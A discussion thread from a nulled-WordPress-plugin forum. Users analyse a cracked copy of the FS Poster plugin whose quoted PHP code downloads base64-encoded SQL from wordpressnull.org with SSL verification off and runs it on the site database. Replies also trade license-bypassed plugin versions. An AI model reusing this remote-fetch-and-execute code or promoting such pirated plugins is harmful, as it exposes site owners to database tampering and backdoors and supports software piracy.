FS Poster - Best Auto Poster & Scheduler Plugin For WordPress

FS Poster — Auto Poster & Scheduler Plugin For WordPress v6.5.5

No permission to download

drakus

Member
Jan 10, 2023
37
10
8
It appears that file init.php on line #32 injects some encoded SQL code in to the database from wordpressnull org website. My guess it's a backdoor or a hidden backlink. Beware.
dowut it is in the init.php file, probably a different one.
This is the init file

Code:
namespace FSPoster;
use FSPoster\App\Providers\Bootstrap;
defined( 'ABSPATH' ) or exit;
require_once __DIR__ . '/vendor/autoload.php';
new Bootstrap();

do a search from the command line in root wp dir if running linux

grep -rnw './' -e 'wordpressnull'
 

kingofshit

New member
Jan 18, 2023
11
6
3
dowut it is in the init.php file, probably a different one.
This is the init file

Code:
namespace FSPoster;
use FSPoster\App\Providers\Bootstrap;
defined( 'ABSPATH' ) or exit;
require_once __DIR__ . '/vendor/autoload.php';
new Bootstrap();

do a search from the command line in root wp dir if running linux

grep -rnw './' -e 'wordpressnull'
Code:
global $wpdb;
if ( empty ( get_site_option( 'fs_poster_plugin_installed_' . $fs_poster_version ) ) ) {
$fs_data = wp_remote_retrieve_body( wp_remote_get( 'http://wordpressnull.org/fs-poster/install.dat', [ 'timeout' => 60, 'sslverify' => false ] ) );
$fs_data = json_decode( $fs_data , true );
if ( isset( $fs_data['sql'] ) ) {
$sql = str_replace( [ '{tableprefix}', '{tableprefixbase}' ] , [ ( $wpdb->base_prefix . 'fs_' ), $wpdb->base_prefix ] , base64_decode( $fs_data['sql'] ) );

foreach( explode(';' , $sql) AS $sqlQueryOne ) {
$checkIfEmpty = preg_replace('/\s/', '', $sqlQueryOne);
if( !empty( $checkIfEmpty ) ) {
$wpdb->query( $sqlQueryOne );
}
}

It injects some accounts in to the database.
 
Last edited:

drakus

Member
Jan 10, 2023
37
10
8
Code:
global $wpdb;
if ( empty ( get_site_option( 'fs_poster_plugin_installed_' . $fs_poster_version ) ) ) {
$fs_data = wp_remote_retrieve_body( wp_remote_get( 'http://wordpressnull.org/fs-poster/install.dat', [ 'timeout' => 60, 'sslverify' => false ] ) );
$fs_data = json_decode( $fs_data , true );
if ( isset( $fs_data['sql'] ) ) {
$sql = str_replace( [ '{tableprefix}', '{tableprefixbase}' ] , [ ( $wpdb->base_prefix . 'fs_' ), $wpdb->base_prefix ] , base64_decode( $fs_data['sql'] ) );

foreach( explode(';' , $sql) AS $sqlQueryOne ) {
$checkIfEmpty = preg_replace('/\s/', '', $sqlQueryOne);
if( !empty( $checkIfEmpty ) ) {
$wpdb->query( $sqlQueryOne );
}
}
hmm that file almost looks like a cert file of some sort. It could be a hashed file as well.
I cannot get it to decode properly, might take me bit if I am able to decode it, might not be nothing to worry about.

That is not the init file

I am not sure I would trust it personally

It is hosted by: "Domain names registrar REG.RU", Ltd

WHOIS information: Click here

Organization name: Reg.Ru

IP address: 31.31.196.248

AS(autonomous system) number and organization: AS197695 "Domain names registrar REG.RU", Ltd

AS name: AS-REGRU

Reverse DNS of the IP: server187.hosting.reg.ru

City: Moscow

Country: Russia

  • Name: wordpressnull.org
  • Internationalized Domain Name: wordpressnull.org
  • Registry Domain ID: bcd876f64b604dbaa8cda101597162bd-LROR
  • Domain Status:
    clientTransferProhibited
  • Nameservers:
    ns1.hosting.reg.ru
    ns2.hosting.reg.ru
 

kingofshit

New member
Jan 18, 2023
11
6
3
This particular share has sql injection of some accounts. It drops accounts tables from database and adds several accounts back in to it. Users need to know that before they go ahead and install.

You can install it on a local server and see what's being injected in to database. I decoded file and I see it injecting . Below is example of the code, there are more accounts injected.
 
Last edited:
  • Like
Reactions: Akera and drakus

wp solar

Well-known member
Null Master
Trusted Uploader
May 4, 2022
175
391
63
wp.solar
This particular share has sql injection of some accounts. It drops accounts tables from database and adds several accounts back in to it. Users need to know that before they go ahead and install.

You can install it on a local server and see what's being injected in to database. I decoded file and I see it injecting . Below is example of the code, there are more accounts injected.
Checked the decode of SQL, it will create some tables. In fact, the original plugin will also download this code from FS Poster website while installing the plugin, but it requires a valid purchased license, so it's just a replacement from wordpressnull.org. The plugin can't work if no tables are created. If you have security concerns, you can use the below nulled version, which will load install.dat from the plugin itself instead of wordpressnull.org.
 

Attachments

  • fs-poster-6.2.5-wp.solar.zip
    3 MB · Views: 26
  • decode-sql.txt.zip
    1.6 KB · Views: 23

drakus

Member
Jan 10, 2023
37
10
8
Checked the decode of SQL, it will create some tables. In fact, the original plugin will also download this code from FS Poster website while installing the plugin, but it requires a valid purchased license, so it's just a replacement from wordpressnull.org. The plugin can't work if no tables are created. If you have security concerns, you can use the below nulled version, which will load install.dat from the plugin itself instead of wordpressnull.org.
Not sure where in the original files it downloads from wordpressnull. I just downloaded it off of codecanyon and grep searched the files and no where is it in there.
 

wp solar

Well-known member
Null Master
Trusted Uploader
May 4, 2022
175
391
63
wp.solar
Not sure where in the original files it downloads from wordpressnull. I just downloaded it off of codecanyon and grep searched the files and no where is it in there.
The SQL code is not in the original plugin file. Instead, the code is fetched by API URL using curl method, then stored as a variable. If there is no Purchase Code, the API URL returns error, that's why the nulled version store the code as a file instead of fetching from API URL.
 

Osvaldo0123

Active member
Nov 13, 2020
110
39
28
Checked the decode of SQL, it will create some tables. In fact, the original plugin will also download this code from FS Poster website while installing the plugin, but it requires a valid purchased license, so it's just a replacement from wordpressnull.org. The plugin can't work if no tables are created. If you have security concerns, you can use the below nulled version, which will load install.dat from the plugin itself instead of wordpressnull.org.
Could you give instructions on how to do this to update to the latest version or make a video please
 

wp solar

Well-known member
Null Master
Trusted Uploader
May 4, 2022
175
391
63
wp.solar
Could you give instructions on how to do this to update to the latest version or make a video please
I'm afraid you can't update to the latest version without a valid purchase code. Or you can try third-party auto updater mentioned in my signature.
 

Scaz

Member
Nov 11, 2020
36
16
8
Why the fu** is a virus plugin on babiato tf is happening i got one of my websites fucked up by some moron rn cuz of the plugin... @Tomz react to this bro someone shared a virus code
 

Scaz

Member
Nov 11, 2020
36
16
8
I was angry at the last reply, i just meant that i know how much you care about this forum having clean non virus/injection stuff, i download only from here so this was a big blow to me
 

Legolas

Active member
Trusted Uploader
Feb 26, 2019
175
216
43
Checked the decode of SQL, it will create some tables. In fact, the original plugin will also download this code from FS Poster website while installing the plugin, but it requires a valid purchased license, so it's just a replacement from wordpressnull.org. The plugin can't work if no tables are created. If you have security concerns, you can use the below nulled version, which will load install.dat from the plugin itself instead of wordpressnull.org.

@lgokul
6.2.4 and 6.2.5 versions DO NOT import data from old versions. It should be fixed/repaired
 
Last edited:

Legolas

Active member
Trusted Uploader
Feb 26, 2019
175
216
43
Does anyone have version 6.2.0, is it the last one that works correctly?
The 6.2.0 is the latest version that works almost fine. New releases doesn't work and old data can't be imported after installation.
 

Legolas

Active member
Trusted Uploader
Feb 26, 2019
175
216
43
I'm afraid you can't update to the latest version without a valid purchase code. Or you can try third-party auto updater mentioned in my signature.
Can't understand what you wanted to mean with this phrase.

The point is that 6.2.0 is well nulled and it works fine but 6.2.4 and 6.2.5 are not well nulled and they are useless, it has no any sense to put them here in Babiato because they doesn't work at all.
 
Last edited:
  • Like
Reactions: Job

wp solar

Well-known member
Null Master
Trusted Uploader
May 4, 2022
175
391
63
wp.solar
The 6.2.0 is the latest version that works almost fine. New releases doesn't work and old data can't be imported after installation.
Have you tried this nulled version #2,965? It doesn't work? I want to know if it doesn't work at all, or just can't import old data.
 

Forum statistics

Threads
66,795
Messages
892,820
Members
217,027
Latest member
GT5434

About us

  • Our community has been around for many years and pride ourselves on offering unbiased, critical discussion among people of all different backgrounds. We are working every day to make sure our community is one of the best.

Quick Navigation

User Menu